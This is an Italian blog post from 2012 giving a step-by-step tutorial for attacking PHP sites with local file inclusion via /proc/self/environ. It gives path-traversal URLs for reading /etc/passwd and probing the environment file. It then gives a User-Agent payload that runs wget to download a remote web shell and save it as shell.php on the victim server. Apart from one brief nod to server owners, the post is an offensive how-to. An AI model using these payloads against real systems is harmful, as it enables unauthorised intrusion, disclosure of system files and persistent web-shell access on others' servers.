domenica 21 ottobre 2012

Iniettare codice php ( metodo proc/self/environ)

Il PHP nasce nel 1994 come una serie di macro per facilitare la scrittura di pagine web dinamiche, poi si è evoluto fino a diventare un potente e flessibile linguaggio di programmazione lato server, oggi è implementato su moltissime piattaforme Windows, Unix/Linux, Mac ed altre.Questo linguaggio è diventato molto simile al C++, è possibile scrivere classi e programmare ad oggetti, quindi riuscire iniettare uno script in un server consente di penetrare in esso molto profondità.Il metodo proc/self/environ è davvero molto efficace, ed i proprietari dei server dovrebbero tenere ben presente questa possibilità e prendere le precauzioni del caso. Ora cerchiamo di capire come questo metodo funziona, supponiamo di avere questo obiettivo:

www.website.com/view.php?page=contact.php

la prima cosa da tentare e sostituire la pagina "contact.php" con i caratteri "../"

www.website.com/view.php?page=../

Se otterremo un errore tipo:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in/home/sirgod/public_html/website.com/view.php on line 1337

allora ci sono buone possibilità di poter completare l'iniezione del codice.Adesso è possibile passare alla fase successiva, in sostanza ricercheremo il  file "etc/passwd" risalendo a ritroso l'albero delle directory fino a trovare il file come da esempio:
 
www.website.com/view.php?page=../../../etc/passwd

otteniamo errore:
 
Warning: include(../) [function.include]: failed to open stream: No such file or...
 
altro tentativo:

www.website.com/view.php?page=../../../../../etc/passwd

se ad un certo punto otteniamo una risposta simile a questa:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var....ecc ecc

Possiamo procedere al passo successivo , che consiste nel sostituire "etc/passwd" con "proc/self/environ" ed analizzare la risposta del server:

www.website.com/view.php?page=../../../../../proc/self/environ

Se otteniamo una risposta simile a questa:
 
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,application/xml;q=0.9, application/xhtml+xml, i ...ecc ecc

allora la directory proc/self/environ è accessibile e possiamo iniziare l'iniezione del codice, se invece otteniamo una pagina bianca allora su questo server il metodo non funziona.Prima di poter iniettare il codice è necessario installare un addon per firefox , "tampere data" che potete trovare qui https://addons.mozilla.org/it/firefox/addon/tamper-data/.Ora supponendo di voler iniettare il codice PHP scritto nel file http://example.com/Shells/gny.txt, si deve solo richiedere l'url:

www.website.com/view.php?page=../../../../../proc/self/environ

poi da tampere scrivere nel campo "user-agent" la seguente stringa:

<?system('wget http://example.com/Shells/gny.txt -O shell.php');?>

e inviare la richiesta. Se tutto è andato bene lo script PHP sarà accessibile nella directory "www.website.com/shell.php".Qui potete leggere l'articolo originale http://www.exploit-db.com/papers/12886/

Nessun commento:

Posta un commento